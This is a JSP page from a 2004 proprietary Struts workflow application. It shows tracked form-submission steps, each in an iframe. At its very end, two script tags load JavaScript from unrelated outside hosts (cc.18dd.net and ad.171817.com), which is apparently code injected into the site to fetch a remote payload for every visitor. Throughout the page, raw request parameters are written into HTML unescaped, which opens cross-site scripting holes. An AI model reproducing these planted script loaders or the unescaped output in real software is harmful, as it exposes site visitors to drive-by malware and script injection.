<%
/*
 * @(#)ViewFormSubmissionStep.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ConsolidatedViewFormSubmissionForTracking.jsp

  This class is reflecting business logic uses.

    @author           Vera Wang
    @company          DCIVision Limited
    @creation date    11/11/2004
    @version          $Revision: 1.4.26.2 $
*/
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSubmissionForm" scope="request" class="com.dcivision.form.web.MaintFormSubmissionForm"/>
<!-- Framework Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<!-- Framework Javascript End -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormFunction.js" charset="UTF-8" type="text/javascript"></script>
<%
  String LIST_NAME = "formPageList";
 
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  Integer submissionID;
  String formSubmissionID = request.getParameter("formSubmissionID");
  if ("null".equals(formSubmissionID)) {
    formSubmissionID = "";
  }
  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageListName");
  if (request.getAttribute("formPageListName")!=null) {
    pageListSize = formPageList.size();
  }
%>
<html:form action="form/MaintFormSubmission">
<html:javascript formName="maintFormSubmissionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String PRE_PAGE_HEAD_DIV = "PAGE_HEAD_DIV_";
   String PRE_PAGE_CONTENT_DIV = "PAGE_CONTENT_DIV_";
   String FIELD_HEADER = "FB_FIELD_";

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);  
   String sCurFunctionCode = SystemFunctionConstant.FORM_TRACK;
   if("FORMMONITOR".equals(request.getParameter("function"))){
     sCurFunctionCode = SystemFunctionConstant.FORM_MONITOR;
   }

   String isViewTask = "N";

   if(!Utility.isEmpty(request.getParameter("isViewTask")))
     isViewTask = request.getParameter("isViewTask");


   boolean isStepEdit = false;  // if this workflow step have a need edit form
   boolean isStepAllView = false; // if this workflow step have a need view form


  Integer sectionID = new Integer(1);
  java.text.SimpleDateFormat format = new java.text.SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  String submissionStatus = FormSubmission.FORM_SUBMISSION_STATU_COMPLETED;
  boolean haveWorkflow = false;

  Integer pageID = new Integer(1);
  Integer workflowStepID = new Integer(0);
  WorkflowStep workflowStep =  null; 
  String allPageIDStr = "";
  String allSectionIDStr = ""; 

  WorkflowStepDAObject workflowStepDAObj =  new  WorkflowStepDAObject(sessionContainer, conn);
  WorkflowProgressDAObject workflowProgressDAO = new WorkflowProgressDAObject(sessionContainer, conn);
  WorkflowProgressManager workflowProgressManager = new WorkflowProgressManager(sessionContainer, conn);
  boolean isWorkflowProcess = false;
  String stepFormSectionID = "";
  if(!Utility.isEmpty(request.getParameter("workflowStepIDStep"))&&!"0".equals(request.getParameter("workflowStepIDStep"))&& !"null".equals(request.getParameter("workflowStepIDStep")))
  isWorkflowProcess = true;
  String isShowWholeForm = request.getParameter("isShowWholeForm");
  List stepList = new ArrayList();   
  //form tracking view all read and edit section.
  String tmpSectionStr = ""; 
  boolean isFirstShowSection = true;
  if (!Utility.isEmpty(isShowWholeForm) && !"null".equals(isShowWholeForm) && !"null".equals(request.getParameter("workflowRecordID"))){
    stepList = workflowProgressManager.getExecuteStepListByWorkflowRecordIDWorkflowTrackIDUserRecordID(new Integer(request.getParameter("trackID")),sessionContainer.getUserRecordID());  
  }
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<input type="hidden" name="formRecordID" value='<%=request.getParameter("formRecordID")%>'/>
<input type="hidden" name="formPageID" value="<%=pageID%>"/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>
<input type="hidden" name="formSubmissionID" value='<%=request.getParameter("formSubmissionID")%>'/>
<input type="hidden" name="isWorkflowViewFlag" value='<%=request.getParameter("isWorkflowViewFlag")%>'/>
<input type="hidden" name="progressID" value='<%=request.getParameter("progressID")%>'/>
<input type="hidden" name="workflowStepID" value='<%=request.getParameter("workflowStepIDStep")%>'/>
<input type="hidden" name="workflowStepIDStep" value='<%=request.getParameter("workflowStepIDStep")%>'/>
<input type="hidden" name="isStartStep" value='<%=request.getParameter("isStartStep")%>'/>
<input type="hidden" name="userRecordID" value='<%=request.getParameter("userRecordID")%>'/>
<!-- Page Title Section -->
<%if (!"N".equals(request.getParameter("SHOW_HEADER_FOOTER"))) {%>
<layout:titleFormat>
<font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>" displayActionStr="false" functionType="common.label.form_action_view"/></font>
<layout:returnButton>
<%if ("FORMTRACKING".equals(request.getParameter("function")) ) {
       if ("listFormMonitoringDetail".equals(request.getParameter("functionFrom")) ) {%>
           ListFormMonitoringDetail.do?formRecordID=<%=request.getParameter("formRecordID")%>&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
       <%}else{%>
           ListFormTrackingDetail.do?formRecordID=<%=request.getParameter("formRecordID")%>&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
       <%}%>
<%} else if ("FORMMONITOR".equals(request.getParameter("function")) ) {%>
    ListFormMonitoringDetail.do?formRecordID=<%=request.getParameter("formRecordID")%>&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>         
<%}%>
</layout:returnButton>
</font></layout:titleFormat>
<%}%>
<!-- End Page Title Section -->


<!-- begin table 1 -->
<table cellpadding="0" cellspacing='<%="N".equals(request.getParameter("SHOW_HEADER_FOOTER"))?5 :20%>' border="0" width="100%"><tr><td>
 
    <tr><td>
<!-- ************************************** Start of Form Border ********************************** -->
<%
Integer tmpProgressID = new Integer(0);

for (int s=0; s<stepList.size(); s++){
    isFirstShowSection = true;   
    workflowStep = (WorkflowStep)stepList.get(s);
    stepFormSectionID =  workflowStep.getSectionID();
    if (WorkflowStep.END_STEP_SEQ_NO.intValue()==workflowStep.getStepSeq().intValue() || WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(workflowStep.getActionType()) || WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(workflowStep.getActionType())){
      continue;
    }
    boolean isStartStep = false;
    if (WorkflowStep.START_STEP_SEQ_NO.intValue()==workflowStep.getStepSeq().intValue()){
      isStartStep = true;
    }
    tmpProgressID = workflowProgressDAO.getWorkflowProgressIDByStepIDTrackID(workflowStep.getID(),new Integer(request.getParameter("trackID"))) ;
    String url = request.getContextPath()+"/form/MaintFormSubmission.do?navMode=V&formRecordID="+maintFormSubmissionForm.getFormRecordID()+"&formSubmissionID="+request.getParameter("formSubmissionID")+"&function=FORMTRACKING&isViewUserStep=true&workflowStepID="+workflowStep.getID()+"&progressID="+tmpProgressID+"&SHOW_HEADER_FOOTER=N&functionFrom=ConsolidatedViewFormTracking&userRecordID="+request.getParameter("userRecordID");
    %>
    <br><b><bean:message key='workflow.label.step_name'/>:<%=workflowStep.getStepName()%></b>
     
  <iframe name="stepInfo" id="<%=workflowStep.getID()%>"  src="<%=url%>" width="100%" height="300" frameborder="0" marginwidth="0" marginheight="0"  align="middle"  ><br>
   <a href="<%=url%>"></a></iframe>
   <br>
   <br>
<%  
 }
 
%>
  </td>
 </tr>
</table>
    
<!-- end table 1 -->


</html:form>



<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>